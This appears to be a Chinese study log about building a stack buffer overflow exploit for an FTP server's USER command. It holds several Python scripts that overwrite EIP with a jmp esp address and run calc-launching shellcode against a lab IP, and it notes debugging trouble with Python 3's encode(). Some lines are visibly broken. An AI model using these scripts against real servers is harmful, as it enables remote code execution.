开篇 无限接近成功
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\x45\x44\x43\x42"+buf1
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)
数字准确填充EIP
铺垫 离奇的填充EIP数值
不使用encode函数引起报错
# 神秘c2填充地址中间代码
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\x7B\x46\x86\x7C"+"A"*4+buf1 #此地址为kernel32中jmp esp指令所在
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)
#c3填充首字节
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\xD7\x30\x5A\x7D"+"A"*4+buf1 #
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str="User "+buffer+"\r\n"
str=str.encode()
s.send(str)
转折 目标锁定encode函数
#2.7下编译通过 3.5失败
import socket
buf1="\x31\xC9\x51\x68\x63\x61\x6C\x63\x54\xB8\xC7\x93\xC2\x77\xFF\xD0"
buffer="A"*485+"\xD7\x30\x5A\x7D"+"A"*4+buf1 #
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.136.140",21))
str = "User "
str += "A"*485
str += "\xD7\x30\x5A\x7D"
str += "\90"*10
str += "\r\n"
# str=str.encode()
s.send(str)
已查阅关于python相关文档,但对encode()函数底层编译实现未有太多解释 后续填坑考虑使用python生成可执行程序 通过IDA和调试器解决填充问题